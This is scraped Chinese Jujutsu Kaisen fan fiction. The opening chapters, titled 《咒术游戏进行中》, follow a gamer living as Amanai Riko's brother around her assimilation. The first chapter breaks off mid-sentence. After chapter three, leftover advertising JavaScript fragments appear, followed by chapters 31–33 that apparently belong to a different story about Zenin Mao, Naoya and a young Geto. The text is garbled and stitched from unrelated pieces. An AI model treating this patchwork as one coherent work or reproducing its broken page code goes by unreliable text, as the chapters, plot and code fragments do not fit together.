《咒术游戏进行中》 1. 新启 《咒术游戏进行中》全本免费阅读 是春天。 神无月微微扬起脸看向遥远的天空,澄澈碧蓝。他低下头,看着双手十指张开又合拢。 微风勾了一下发梢又悄然溜走,春花的淡香让人心安,远处有行人的声音。 不得感慨,这个游戏实在是太逼真了。 这里不是真实世界,是他的朋友送来的游戏。闲来无事,神无月便随机选了一个打开来玩。 游戏背景也没有仔细看,只记住了它的名字,《生祭》。 听起来应该是有点恐怖的游戏。 神无月往前慢悠悠地步行,所谓的真实度高达百分百,自由度高达百分百的百分百沉浸式游戏,没有任何的新手指引,界面上空空荡荡,一时之间,他也不知道自己到底应该要做些什么。 刚进入这个游戏的时候,第一个画面,是一片清澈的海。 被阳光照射的海面之下,水光波澜盈盈,硕大的深海鱼类慢悠悠地游动着。一个少女的黑色背影立在远处的角落,麻花辫仿佛在水中具有活性一样飘动着。 神无月看着那少女的背影,眼眸半垂。 接着是一段剧情的闪回。 一片黑暗的界面里,背景音乐是大雨倾盆落下的声音,车辆紧急刹车,激烈的碰撞声和急促的救护车,一下子把氛围拉到了最紧张的高点。 一闪而过的画面里是车祸现场,主驾的男人和副驾的女人浑身鲜血,有些惨烈,呼吸都已经停止,看起来是没有生机了。 【哥哥!】 女孩的哭喊声令人心悲。 一双紧紧握着的小手被两方人一点点拆开。 他们不断回头想要挽留住自己唯一的亲人,但是弱小的他们只能被高大的黑色阴影拉入了相反的两条道路,尽头都是黑暗。 严肃古朴的新家,严格封建的秩序,属于男孩的记忆在一瞬间塞到了神无月的脑子里,一直平静的表情甚至都有一瞬间的扭曲。 稍微缓过来了,神无月开始梳理脑海里的记忆,他现在的名字叫做,天内青树。和妹妹天内理子一起随母姓。 天内青树正在慢悠悠地想着设定,忽然远处传来了小声的呼唤。 “少爷,在这里。” 在铁门栏杆和一小段路的转角阴影处,那里站着一个女人,对方贴墙站着,难以被人发现。 黑衣配着白色围裙,女人双手握着垂在身前,眼眸低垂,好像只是一个普通路过的人。 在天内青树朝着对方走进的过程中,他忽然听到了“叮”的一声。 女人的头顶上出现了对方的名字,和人物简介。 【黑井美里,一直照顾天内理子的人。知晓命运,抵抗命运,臣服命运。】 【和理子的几次见面,都靠着对方的帮助。】 看来自己之所以会出现在这里,应该和对方有直接关系吧。 天内青树走到对方面前,念了一下对方的名字:“黑井。” 黑井美里抬眼看了对方一眼,露出一抹勉强的笑容:“少爷,我想你最近也听到消息了吧。大小姐星浆体的身份被泄露了,甚至有人开启了悬赏,同化的时间就在后天的月圆之夜。” 又是“叮”的一声。 这一次只不过是用来补充游戏背景的。 就如同每一个游戏都有它独特的背景,在这个世界里,存在着一种名为“咒灵”的生物,诞生于人类的负面情绪。与此同时,专门祓除咒灵的人类也有一个独特的称呼,咒术师。 就如同那些志怪故事一样,咒术世界几乎与普通社会隔绝开来,也许这也与咒灵在一般情况下无法被普通人类看见有一定关系。 【为了保证咒术界能够平稳运行下去,每二十年就会有一位星浆体与天元大人同化。星浆体,是对拥有这类宿命人的称呼。】 【开启任务点:到达后天的同化地点。】 天内青树一怔,这个游戏居然还有所谓的任务啊。但是这样的任务安排却很有意思。 不是促成同化,也不是阻止同化,只是到达地点。 看样子游戏只是不想错过这个剧情点而已。 “少爷?”黑井美里看着陷入沉思的少年,出声提醒了对方一下。 天内青树从自己的思绪中抽身,柔和的眼神看向对方,想起对方的人物介绍,轻声问道:“所以你找来我,是想要我阻止同化吗?” “当然不是。少爷,当然不是这样的。”黑井美里的瞳孔好像在一瞬间被惊吓得缩小了。 天内青树:“你说了两次否定。一般来说,两次否定表示肯定。” 黑井美里垂下头不再说话,天内青树也不逼迫什么,只是想着原来题目里的祭品是指自己的妹妹啊。 题目用“祭品”,内容却用美化过后的“同化”,也许这个时候游戏作者的想法也很明显了。 就在这个时候。 嘣! 猛烈的爆炸声从后方的大楼上传了过来,两人立刻转身望了过去。 昏迷的少女从爆炸处的窗口被抛出,像是蝠鲼一样的咒灵游动在空中被人操控过去救下少女。 虽然只是远远的一眼,但是毫无疑问可以确认,那就是妹妹理子。 黑井美里大惊失色:“怎么回事?!现在就已经有人开始暗杀了吗?!” 天内青树微微眯起眼睛看向那远处,接住理子的,不仅仅是那只咒灵,还有另外一个少年,穿着某种看起来不太正经的制服。 他往后退了几步,一个借力往前冲翻墙跳了进去,往理子所在的方向奔跑过去。 一直往前跑着的天内青树好像感知到了什么,猛然低头,断裂的树干堪堪从他刚才脑袋所在的位置甩了过去。 要是他刚才没有低头,被甩出去的,就是自己的颈上人头了吧! 天内青树神魂未定地摸了摸自己的脖子,与生死交叉而过的惊恐感后知后觉地到来。 他朝着断树袭来的方向望了过去。 轻松解决试图绑架星浆体的犯罪集团,白发少年还饶有兴致地蹲下身和对方美美合照,成功发送照片给自己的朋友后,才施施然看着朝自己走来的少年。 白发少年微微皱了一下眉心,不明所以地看着天内青树问道:“为什么你会 2. 兄妹 《咒术游戏进行中》全本免费阅读 刚刚救下星浆体的少年——夏油杰,慢悠悠地给自己泡了一杯热茶。温暖的阳光啊,仿佛把旁边犯罪人员的聒噪之声都给融化了。 房门被打开了,第一个推门进来的却是一个陌生的少年。紧接着的还是不认识的女人。 被落在最后面的,哦,这个倒是认识了。五条大少爷愤愤不满地走在最后面。 虽然不满,但没有敌意,说明前两个应该不是什么敌人了。 夏油杰在内心做下正确的判断。 “大小姐!”黑井美里赶紧冲到沙发上看望晕厥过去的天内理子,发现对方只是晕厥没有其他的伤害之后,缓缓吐出一口气,朝着天内青树点点头,示意安好。 疾风从爆破的墙壁里猛烈地刮,即使已经被黑井美里查看过了,天内青树还是弯下腰仔细查看了妹妹。 “悟,他们是?”夏油杰询问。 不同于刚才面对五条悟的态度,这一次是天内青树主动伸出了手:“你好,我是天内青树,是理子的哥哥。” 夏油杰反而对这样的态度有了一丝诧异,和自己差不多的年龄,反而行为举止却完全超乎他的年龄,有一种矛盾的格格不入之感。 他犹豫地回握了过去:“夏油杰,我的名字。” 不满被忽略的五条悟幼稚地从中间掰开了两人握着的双手:“你们在玩什么啊!听老子说话啊!” 虽然说是对方亲自掰开的,但是有着【无下限】的术式,连对方的肌肤都完全没有碰到。 天内青树低头看了看手掌心,那个隔离在外的感觉很是独特。 成熟的未成年人夏油杰微笑着说道:“悟,我们刚刚才说过的,要注意自己的称呼。” 五条悟双手叉腰,眼神从高往下地看着天内青树:“天内青树,这真的是你的名字吗?” “当然是的。”天内青树简单地应付了一声,连看都没有看白发少年一眼,转头向夏油杰和黑井美里寻求认同:“这里造成的影响不小,应该没一会就会有警察等人前来,我们应该赶紧换个地方吧?” 黑井美里赞同:“但是我的住所也被发现了,我们接下来应该去哪里呢?” 五条悟双手叠在脑后,侧过脸吹了一声口哨:“想在这里找到一个稳定的安全所,哇,真的好难啊,要是有一个会在各个地方都有资产的人就好了......” 其余两人默默地把目光转向他。 夏油杰皮笑肉不笑,在他人看不见的地方怼了一下五条悟的后背:“悟,不要闹了。” 五条悟扶了一下眼镜,用手指向那个晕倒在沙发上的少女:“反正我们的任务只是把那个小鬼送到高专,弄倒眼前的两个人又不是什么难事,直接把那个小鬼就抢走不就可以了。” 黑井美里赶紧护住了理子,不管对方是玩笑话还是其他的什么,这种危险的话她现在实在是听不得。 好像终于对这句话有了反应,天内青树不再回避对方的眼神,波澜不惊的灰色眼珠平静地看向对方,犹如一滩死水。 但是,也只有一眼,他又撇开了眼神。 天内青树低声问道:“你们来,真的是为了保护理子的吗?” 五条悟侧开了脸,夏油杰微笑着点头:“是的,我们本次的任务就是把理子妹妹完好地送到高专。” 东京都立咒术高等专门学校,简称高专,是专属于咒术师的学校。与此同时,同化的另外一个主角,天元就在高专的地下,隐藏着的薨星宫。 也许是为了拉近关系,夏油杰故意选用了理子妹妹这个称呼。 “然后呢?”天内青树问道。 夏油杰不再说话。什么所谓的然后,同化与送上祭品的区别在于什么? 他们又不是无知的少年,拥有强大力量的少年们,还是清楚自己在做什么事情的。 在来的路上夏油杰和五条悟就已经讨论过这件事情了,星浆体不愿同化,那就不同化。 只是在这个时候,在这个属于星浆体的亲人面前,夏油才清晰地体会到,在对方眼里,他和五条仍然是做着被厌恶的事情。 似乎本来就没有想要一个答案,天内青树只是弯腰想把天内理子给抱起来,先远离这个地方。 但是他的动作很不熟练,在差点摔之前被人忽然给扶住了。 天内青树看向对方。 夏油杰微笑着抱起了天内理子,甚至还很小心地拢住了裙摆防止走光,他看着天内青树,温和却又坚定地说道:“如果是在担心那种事情,我们可以保证,绝对不会发生的。” “谢谢。”天内青树小声地道谢,也不知道到底是为了什么事情。 于是三人带着昏迷的理子,气氛特别融洽地离开了这里。 被抛弃在最后面的五条悟:...... “硝子!”眼看着他们的背影消失不见,五条悟选择去骚扰另外一个同学了,“老子被杰给抛弃了啦!” 电话那头:....... 可能是因为信号不好,家入硝子的声音听起来断断续续的:“你又干什么了?” 五条悟感受到了万分的委屈:“什么啊!是杰完全抛弃老子,和那个满嘴谎言的人私奔了啦!” 家入硝子:“......完全听不懂你在说点什么,你们不是去执行任务了吗?” “杰就是在我们执行任务中跑走了啊!” 沉默片刻,思考了两位同学的性格,家入硝子内心其实觉得应该是五条悟的问题,但是直说对方肯定不会认可的,于是她给出了一个模棱两可的答案:“可能夏油更加适合与陌生人打交道吧。” 五条悟更加生气了:“老子之前就认识他好不好!” 家入硝子内心感到无语,也不想还在这无聊的对话上纠缠什么,于是随便找了个借口,挂断了电话。 打完电话,夏油他们是彻底消失不见了。 被抛弃在原地的五条悟其实很想转身就离开,现在可是一个很好逃离任务的时间点啊!走了都有一个很好的借口,自己可是被抛弃的那个人啊! 但是......明明都已经转身的五条悟还是不满地啧了一声,顺着六眼提供的痕迹,朝着夏油他们走过去。 ...... 最终他们还是选择去了天内青树的住所暂避一下。 是一座很奢华的小别墅,有草地,有水池,独居,周围没有邻居。夏油杰在刚看到这栋小别墅的时候都愣在了原地。 3. 恶心 《咒术游戏进行中》全本免费阅读 “理子。” 天内青树摸了摸天内理子的头发,然后拉着她坐回到床上,灰色的眼睛专注地看着对方:“饿了吗?我去给你倒点水喝吧。” 他站起来想走,但是被天内理子给拉住了。 理子带着笑说道:“哥哥,我只是想多和你呆一会。” 听出了言外之意,一旁的黑井美里忍不住出声:“大小姐......” “我们会有很多很多时间在一起的。”天内青树注视着对方,像是在保证着些什么,认真地说出了这番话。 他是决定这个游戏走向的玩家啊,他选择【拒绝同化】这个方向不可以吗? 游戏太自由了,一个提示都没有实在是对新人太不友好了。 天内青树沉思游戏中关于【星浆体】的设定。 星浆体的任务是与天元大人融合,为了维持天元的【不死】,也是为了维持咒术界的【不死】。 天元大人负担着霓虹境内的所有结界,就连辅助监督所施行的结界术也依赖着对方。 结界隔绝开了咒术世界和普通社会,如果不是天元的结界,估计普通社会早就发现咒灵的存在了吧。 咒术界统一的认知,不要让普通人发现咒灵的存在。 越恐怖,越会诞生更多更强大的咒灵。就算是行恶的诅咒师,都不会故意揭露出咒灵的存在。 “那是当然啦!”天内理子深吸了一口气,鼓足了勇气说道,“等我和天元大人融合,所有结界内的事情我都会知道了,我无处不在,哥哥再也不会和我分开了,我会一直关注着哥哥的。” 年仅十四岁的少女,最勇敢的事情,应该就是说出这番话了吧。 天内青树看着对方,声音仿佛来自另外一个世界:“理子,你都哭了。” 少女一怔,黑井美里侧过脸。 天内理子呆滞地抹了一把脸,才发现自己不知道什么时候留下了眼泪,明明自己是好不容易才说出这番话的。 黑井美里赶紧拿过来了纸巾,理子狠狠地摩擦了自己的脸。 天内青树看着对方的动作,忽然在考虑另外一个可能性。 现在唯一的一个任务是到达后天深夜的同化现场。如果在这个任务上他就失败了,游戏会往什么情况发展呢? 同化,是会失败?还是成功? 失败之后会发生什么?成功之后就是HAPPY ENDING的结尾吗? 心底莫名升起烦躁,这种过于真实的游戏,难道连一个【存档点】都不给他吗?一旦做出了错误的决定,他就只能一直错下去吗? 天内理子平静地看着窗外的落日,渐渐地,突然脸上露出了惊慌:“哇哇哇!为什么突然这么晚了,我记得我昏迷前不还是白天吗?!” 天内青树:“理子确实是睡了很长一段时间。” 天内理子崩溃地向黑井美里求助:“那这么说来,我今天是翘了一天的课吗?!” 黑井美里都震惊了:“大小姐,你、你难道还想去学校吗?!在这种时候吗?” 天内理子扳着手指计数着最后的时光:“今天我见到了哥哥,明天和朋友们再见,后天就要去那边了吧?同化时间是在深夜,那我可绝对不能浪费了我白天的时间啊!” 天内青树微微皱起眉心:“理子,你是真心想要成为星浆体的吗?你真的愿意去同化吗?” 他都已经考虑到了任务失败的可能性,却忽略了这种情况。 “星浆体又不是想成为就成为,不想成为就不成为的啊哥哥。”天内理子打趣着天内青树的孤陋寡闻,“我也不知道星浆体的条件是什么,但是星浆体应该是我们出生的那一刻就决定了吧。” “我们?”天内青树感觉自己触发了什么隐藏剧情。 黑井美里接过话头:“星浆体是可以同时间存在多个的,这是为了避免同化时星浆体出现意外而特意安排的。” “虽然有一点点害怕,就一点点哦,”理子扬起了骄傲的笑容,“但是,要是我逃避了,岂不是要别人顶替上啊。我才不要呢,那可是和天元大人融合呢,我可是保护了咒术界呢,这样英雄的事情还是让我一个人来做吧。” 强撑着笑容的语言,闭上眼睛,更能感受到背后的腐烂和淤泥。 胃里泛起了恶心,天内青树强撑着问道:“也就是说,准备了祭品的同时,还准备了祭品的备份吗?人类还是很喜欢干这种事情吗?” 养着肉猪一样得,圈养着所谓的星浆体,需要的时候就随意挑出一个。 这头猪的品质不好,没关系,还有一整个猪圈的猪可供选择呢。 不应该想得那么久远的,恶心的感觉更加强烈了。 余下两人齐齐望向他,都是被他最后的一句话给惊吓到了。 天内青树身上的气息好像也在那一瞬间产生了扭曲,天内理子怀揣着不安伸出手想要拉住天内青树的衣袖,对方却突然站了起来。 “对不起。”天内青树捂着嘴唇勉强地吐出了一个字音,然后赶紧绕过众人朝着卫生间冲了过去。 就在他冲出去的时候,房间的门却突然被强行踢了开来:“怎么回事!你们遭受袭击了吗?!” 本来五条悟和夏油杰还在水池边分析咒力来源,但是有一瞬间,他们同时感受到了一种不知名的压力,这才冲了进来。 对于突然闯进来的两位陌生少年,防御功能一瞬间被拉满了,天内理子拿起床上的枕头就朝着对方扔了过去:“啊啊啊!有人强闯民宅了!黑井,哥哥,快跑啊!” 枕头当然没有打中两人,五条悟拉长了声音大声说道:“啊,哥哥是骗子,妹妹反而是个笨蛋吗?” 一旁的夏油杰温和多了:“理子妹妹,我们不是坏人哦。” 黑井美里完全没能拦住天内理子的狂言,理子做出防御的姿态:“谁是你妹妹啊!怪刘海完全说出了坏人的经典台词啊!” 夏油杰温和地笑着。 黑井美里四肢并用地拉住理子:“大小姐,他们是咒术高专的人啦,是来帮助我们,为了安全送我们到达薨星宫的人。” “啊?”后知后觉的少女脸上慢慢泛上粉色,那自己刚才也太丢人了吧! 夏油杰环视了一圈:“青树呢?” 为什么这个怪刘海要这么亲密地喊哥哥啊!理子虽然在内心吐槽着,但是在知道对方无害后,还是安心了许多。 天内理子扒开两人,朝着卫生间冲过去:“哥哥,哥哥,你怎么了?没事吧?” 四个人头整齐排列在门口,齐齐看着里面的人。 想要呕吐,吐出的却只有无色的清液,胃里在痉挛,白皙的脸庞反而因为急促的呼吸而泛起了红色,生理盐水挂在睫毛之上,偶尔一滴坠了下去。 “青树,怎么了?”夏油第一个走了进去,想要拍拍对方的后背稍微舒服一下。 结果手还没有伸出来,就被后方拉走了。 天内理子生气地把怪刘海往外面拉走,狠狠瞪了一眼,才伸出手好好抚摸了一下天内青树的后背。 “哥哥,没事吧?深呼吸,慢慢的。” 天内青树闭上眼睛慢慢稳住了自己的呼吸,从抽屉里拿出了干毛巾沾湿擦了一下脸,给予一个无事的笑容:“只是突然胃疼了,让理子担心了吧。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我们溜出去吧,到外面去玩。” 真绪眼睛一眯,有点心动。 这些年他们能够出去的机会寥寥无几。 一开始真绪还会很奇怪,禅院作为御三家之一,咒术界顶天势力其一,居然还会害怕自家小孩在外面玩。 后来慢慢发现了,咒术界一个很奇怪的特性,他们认为咒术师区别于普通人类,甚至高出一等,但是对于咒术师又不是很珍贵,反而当成某种一次性物品一样。 出任务就出任务,死了就做好防止诅咒师的术法,除此以外就没有更多了。 咒术师的任务大部分是祓除咒灵,但是诅咒师,他们会为了各种原因反过来猎杀咒术师。 但是所谓的咒监会并不会对此作出反应。 估计他们都认为,被猎杀的咒术师有能力自己解决吧。 所以大概也只有有能力的家族会稍微保护一下幼崽时期的咒术师,在他们还没有觉醒术式或者还没有掌握术式的时候限制外出,防止某些意外。 这也就是真绪鲜少能够出门的原因。 他没有说答不答应,他先问:“那你要怎么出去呢?” 直哉也算是摸准真绪的想法了,他拉着对方做出院子,然后往偏僻的地方走,终于走到一个狗洞的面前。 “来,真绪,就是这里。” 真绪看了看狗洞,又看了看直哉,一身不吭转身就走。 直哉赶紧拉住真绪:“我没有说钻狗洞啦,我带你翻墙,是翻墙!” 真绪一甩手,那干嘛来这么歧义的地方啊! 直哉缓缓吐出一口气,还好自己反应地快,不然真把真绪气走了。 真绪不会翻墙,所以几乎都是直哉手把手拉着、推着对方过去了的,然后自己倒是轻而易举地跳了过去。直哉带着对方绕了几个弯,慢慢进入闹市。 快要临近傍晚了,一些店铺开了出来,路上的行人也多了出来。 直哉怕真绪热,先带对方去吃了冰淇淋。 但是等到付钱的时候,直哉理所当然地说道:“我没钱。” 之前都是别人带他出来别人付钱,这次临时出来身上甚至一分钱都没有的直哉完全没有想太多。 店员小姐姐:......长得这么好看的小孩还真是无理取闹。 “我来付吧。”一道熟悉的声音从背后响了起来。 直哉望过去,露出了嫌弃的表情,然后扬起了下巴:“那你来吧。” 真绪也看向来人,哦,是禅院优。 这个人自从那番不清不楚的话之后,四年之内不是没有再见过面,只是哪怕真绪直言直语地问对方到底隐瞒了什么,对方也不说,就是偷偷摸摸地,后来,真绪甚至都没有心情问了。 没心情了,感情就淡了,见面都不会说什么了。 禅院优给买了三个冰淇淋,三人一起在电力坐了下来。 禅院优笑眯眯地说:“你们两个是偷跑出来的吧。” 真绪认真吃着东西权当作没听见,直哉威胁着对方:“管好你的嘴,要是多说什么肯定让你好看!” 禅院优露出一副悲伤的表情:“我刚刚才给你买单了诶,真是一点面子都不给啊。” 直哉“切”了一声。 禅院优站了起来,说是还有事情要干:“不要太晚回家哦,这些钱留给你们,真绪,早点回来哦。” 真绪还是不看对方,直哉朝他挥了挥手,恨不得对方赶紧走。 直哉一把抓起桌上的钱,说:“真绪,我带你去一个好地方玩。” 32.夏油 直哉所谓的有趣的地方,原来是游戏厅啊。 真绪看着发出叮咚叮咚声音的游戏机,有些遗憾地说道:“原来是游戏厅啊。” 直哉已经换了一大波的游戏币,听到声音奇怪地问道:“嗯?真绪有想去的地方吗?” 真绪摇头,接过对方递过来的游戏币,推开一直想黏在一起的直哉,两人分开去玩了。 禅院家里虽然也是过着现代的生活但还是离不开那种古老的习惯,家里也没有游戏机,这个东西还没有玩过呢。 真绪试探地随机选了一个人机对打的游戏,但是没有想到不仅仅他本人的体术不怎么好,连操控机器都操控不好。 他又去试了扔篮球,一分半进了三个球。 嗯......他又去试着那种简单的游戏,挖金矿,对不准啊。 真绪脸上的表情越来越差了,尤其是看到直哉在玩射击的游戏,看了一眼战绩,脸色不好地走开了。 游戏厅里饮料可以用现金也可以用游戏币购买,真绪买了一杯,找个了角落直接坐下来看电视了,都不乐意再玩游戏了。 还是那部狗血电视剧啊,瘸腿又瞎眼的男人终于恢复了记忆,他询问当初撬自己墙角的双胞胎弟弟下落,发现对方早就死了。就在这个时候,新女主居然被人绑架了...... “诶......”好像是同时认真看戏人发出的感慨 真绪还在认真地看着,但是那悠悠的叹息声却接连不断。 他左右环顾了一圈,然后往旁边侧了一些身体,伸出头,看到了正好坐在柱子后面的少年。 两人的距离其实很近,只不过隔着这根大柱子所以两个人都没有看到对方。 真绪看到了对方低着头,情绪低落一直在叹息,在玩弄着手里一颗硕大的黑珠子,但是珠子的气息那有点像...... “那是?”他开口问了出来。 少年被吓到了,立马转头望了过来,还不忘记把手里的珠子藏起来。但是藏到一半手里的动作又停了下来。 他把珠子托举了起来:“你看的出来,这是什么东西吗?” 真绪的眼神从对方的脸庞移到了对方的手掌中心,看着那颗黑色珠子,浑浊邪恶的气息在里面翻涌,有点像是......有点像是咒灵的气息。 他有些不确定地把自己的推测说了出来。 少年好像露出了一点笑容:“你也看得见啊,嗯......那你也是咒术师吗?” 真绪不清楚怎么解释,就用最简单的话说:“我的实力称不上咒术师。” 少爷啊了一声,好像有些尴尬,拍了拍身边的位置让他坐下来讲话:“我的意思是......” 好吧,他也想不出来什么解释的话。 真绪坐下来,他说:“我叫禅院真绪,你呢?” “夏油杰。”少年犹豫了一下,问道,“你认识一个叫做禅院优的人吗?” 真绪有些震惊:“你认识他吗?” 夏油杰点点头:“他是我认识的第一个咒术师,很多东西其实都是他告诉我的,原来你们也认识,还是同一个姓氏,都是那个御三家吗?” 真绪觉得奇怪,禅院优看起来是那么关心陌生人的性格吗?难道这个夏油杰有什么特殊背景吗? 他打探道:“那你家是......” 夏油杰有些内敛:“我父母都不是咒术师,我之前也完全不知道咒术是什么东西。” 真绪怀疑这个答案,但是看对方又不像是欺骗自己的样子,也许那个答案是对方不知道但是禅院优知道的? 之前还在想不在和禅院优有什么关联,结果对方还有好多东西隐藏着呢。 啧,难道对方身上真的藏着没有触发的任务。 真绪问两人是怎么认识的。 夏油杰说是有一次他被咒灵追着跑,然后就被禅院优给碰上了,之后禅院优交给对方很多东西,就认识了。 真绪想难不成刚才碰到禅院优和现在碰到夏油杰不是意外吗? 他问:“你今天也和他见面了吗?” 夏油杰果然点头,禅院优带着他一起去祓除咒灵,顺便教他一些东西。 夏油杰举起黑色珠子,毫无防备地和真绪讲这是自己术式的结果,【咒灵操术】,珠子是咒灵凝聚而成的,吞下它,就可以操控咒灵,虽然实力有所打折,但还是非常厉害,要是碰到特级咒灵,更是不可思议。 真绪伸出手指尖,在黑色珠子上上划了一下,不是玻璃的感觉,甚至感觉里面有什么在活动着。 简直就像是咒灵的第二次生命啊。 他忽然想起什么事情,说道:“咒术师一般到年纪了会有统一的学校授课,你会去吗?” “当然会。”夏油杰斩钉截铁地说道,“我有着这样的能力,这个世界上存在着咒灵这种怪物,难道我们不是天生负有祓除咒灵的责任吗?” 真绪一下子噎住了,他好像还是第一次碰到抱有这种念头的咒术师。 禅院家里稍微年长一些的,只当把祓除咒灵作为工作,按件计费,背负责任什么的,从来没有听说过这种想法。 真绪看着对面的少年,还是太年轻,多干几年活也许就会换一种想法了吧。 夏油杰也反问对方:“那你呢,你也会去上学吗?如果一样的年龄,那我们会是同年级的同学吗?” 两人对了一下年级,夏油杰在二月,真绪报上了小池告诉他的年份,同年的十二月,这样一来,是不是同学就全靠运气了。 夏油杰露出了一个笑容:“还是希望能够和你成为同学啊。” 真绪看着对方的笑容,嘴角也微微勾起:“我也希望。” “绝!对!不!可!能!”充满恶意的声音从一旁传了过来,望过去,就是生气到浑身颤抖的直哉。 原本冲上排行榜第一的直哉兴高采烈地想要和真绪分享一番,但是怎么都找不到人影。好不容易找到了,却看到真绪和一个陌生人笑嘻嘻,还答应一起去上学! 不可以,绝对不可以!真绪是他的,怎么可以和别人有什么约定! 真绪一看到直哉的表情就知道对方又在想什么了,先拍了拍身边的位置,让对方先坐下来。 生气归生气,直哉扒拉开两人,直接坐在了两个人中间,瞪向那个陌生人:“你是谁!哪来的垃圾,谁要和你成为同学啊!” 夏油杰不明白这个新来的少年怎么这么大的怒气。 由于被挡住了视线,真绪稍微探了一下身体才能看见夏油杰,开口解释道:“这是禅院直哉,也是禅院家的,如果靠年龄算的话,他是同年三月,和你成为同学的可能性更高一点呢。” 直哉把真绪拉了回来,把对方拦在身后,扬起下巴鄙夷地看着夏油杰:“他怎么可能会和我上同一所学校,成为同学?白日做梦。” 夏油杰笑眯眯,他探出头说道:“真绪,你的朋友对我恶意好大啊,我是不是说错了什么?” 直哉恶狠狠的表情一顿,因为有只手抓到了他的后脖颈。 真绪没有用多大的力气,只是轻声向对方解释:“直哉的脾气不是很好,被惯坏了,他没有什么恶意的。对吗,直哉?” 都这么说了,直哉也明白自己必须要收敛一点了。 他眨了一下眼睛,垂着头靠近真绪:“我,我只是不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 希望你成为别人的同学。真绪,你会和我在一起的吧,不会离开我的吧?” 夏油杰表情一顿,遇到对手了。 真绪换了一种说法:“也许我们都能够成为同学。” 直哉扭曲了一下,他才不要这种结果,恶心。 他抬头看了一眼时间:“呀,真绪,太晚了,我们要早点回去吧,不然别人就会发现我们出来了。” 剩下两人一起看向钟表,才七点半。 还没等真绪想说什么,直哉就急急匆匆地拉着他跑了。 太快了,真绪只是简单和夏油杰挥了一下手,瞬间便离开了这里。 夏油杰意犹未尽地摆了摆手,啊,太遗憾了,连联系方式都没有留下啊。 直哉带着真绪急急匆匆地回了家,也不是真的害怕什么被人发现,只是不想再呆在那边了。 一不留神就会有恶心的人和真绪在一起。 直哉总是先跟着真绪回他的东雅阁,他路上有些纠结,最终还是轻哼一声说道:“我们是绝对不可能和那个人成为同学的。” 真绪以为对方还在闹别扭,随口安慰道:“一所学校不可能只有三个学生的,我们会是很多人的同学。” “那也不会是他的。”直哉幸灾乐祸地说着。 迎着真绪疑惑的眼神,直哉双手抱臂地说道:“我们会去京都府立咒术高等专门学校,那个人肯定会去东京都立咒术高等专门学校,那种乡下地方,我们当然不会成为同学。” “啊。”真绪后知后觉,他还没有想什么,直哉就抢先说道,“真绪真绪,你不能去那种乡下地方的,你要和我一起去京都校的~” 他又开始撒娇了。 真绪迷迷糊糊地答应了过去,两人聊着聊着就到了东雅阁,一推门,就看见禅院直毘人坐在主位上,小池和菊泉等人都站立在两边。 哦呀,看来好像已经等了有一段时间了。 果然,禅院直毘人第一句话就是:“外面好玩吗?” 直哉朝着对方输了一个中指:“臭老头,你天天跑出去喝酒,还不允许我出去玩嘛!” 禅院直毘人唉声叹气:“我怎么就生了你这个儿子......” 直哉哼了一声。 禅院直毘人其实本来真的只是作为长辈关心问了一句,结果被自己儿子怼了回去,他也懒得寒暄什么,言简意赅地说了自己的来意:“我来是告诉你们下周一有一个御三家集会,让你们做好准备。” 真绪觉得奇怪,御三家集会和他有什么关系,还需要专门跑到他这里来通知? 直哉更是简单,大手一挥就是:“不去!” 禅院直毘人权当作没听见:“这次你们都要去,因为这会是【六眼】第一次作为五条家的人出席。” 六眼啊,真绪恍然,之前隐隐约约听说这个人,刚出生就被挂上了暗杀悬赏。之前一直没有见过,没想到这么多年居然又听到了对方的消息。 一直以为对方已经死了呢,原来是被家人们保护起来了。 能和禅院的十影法相对应的六眼啊,也难怪禅院直毘人要这么严肃地过来发通知了。 这个理由一出来,果然直哉也不再拒绝了。 先催着直哉回去,禅院直毘人却留了下来,让所有人退下,他问出了一个意想不到的问题:“你说,天与咒缚是可以解开的吗?” 真绪一想就明白了,他在小院里面讲话的时候又没有遮掩,估计是听到他的话了吧。 可是他又不知道自己当时为什么说出了那番话,又不知道这个世界上是不是真的可以解开天与咒缚。 他笑着说:“也许吧,谁知道呢。” 33.受伤 真绪得承认一件事情,当谜语人实在是太快乐了。 看着禅院直毘人摸不清头脑地离开,今晚都睡得更好了。 不管下周一那个集会会怎么样,起码还没有到那天,真绪也没有什么感觉,而且现在他有一件更加重要的事情要做。 于是直哉就很不高兴了。 第二天直哉来找真绪,真绪说要去找甚尔,他很开心他们能够玩在一起,兴高采烈地跟着一起去了。 但是到了那边,发现真绪也不和甚尔有很多的互动,顶多就是一直看着甚尔,然后给对方递上一杯水,偶尔开口问几个问题,一天就过去了。 直哉在旁边有一些昏昏欲睡。 第三天直哉又来找真绪,真绪又说要去找甚尔,他感觉有一些不对劲,但还是跟着去了。 是真的无聊到睡过去了。 于是第四天直哉来找真绪,真绪还是说要去找甚尔的时候,他有些控制不住自己的表情了。 “为什么你老是要去找他!我才是你的朋友,你总是去找他玩,你从来没有主动来找过我!” 嫉妒到扭曲的话语让他根本控制不住自己的表情。 为什么啊!所以说为什么啊! 真绪勾起嘴角,往后靠在墙边,问道:“你不是希望我和甚尔成为朋友的吗?” 直哉生气地挠了挠自己的耳垂,他急迫地说道:“我是希望我们三个人能够成为好朋友,不是你和他成为好朋友!” 他又急又气,早知道就不让真绪和甚尔认识了,要是他们不认识,那真绪就还是只属于他一个人的了。 真绪转了一下灰色的眼珠子,说:“那我出去吧,我想看看能不能找到夏油。” 上次的结尾还是有些遗憾,不知道下次出去能不能见到夏油。 直哉先是有些疑惑:“夏油?夏油是谁......夏油不会是那个在游戏厅的人吧,不可以!不可以!” 他的拒绝声都快发展成高音了。 看到了真绪微微皱起的眉心,直哉慌了一下,眼眶里面已经本能转起了泪花。 他拉起真绪的手,放在脸颊边蹭着对方的手掌心,泪水都落到对方的手上了。 感受到手指有轻微触摸自己的脸颊,直哉知道自己会成功的。 他看着对方,委屈地说道:“真绪,你是我的朋友,你不要去找别人好不好?” 真绪轻声问道:“我不能有别的朋友吗?” 直哉眼底有一些扭曲,他觉得要是自己说出真绪只能有自己一个朋友对方肯定会生气,但是他又说不出违背自己内心的话。 只是闭着嘴,让眼泪流得更多一点。 果然,真绪用另外一只手拍了拍对方的脑袋:“直哉,不要哭啦,你等会想玩什么?” 直哉眨了眨眼睛,沾在睫毛上的泪珠闪闪的,很显然,真绪不会再出去找什么下等人人了。 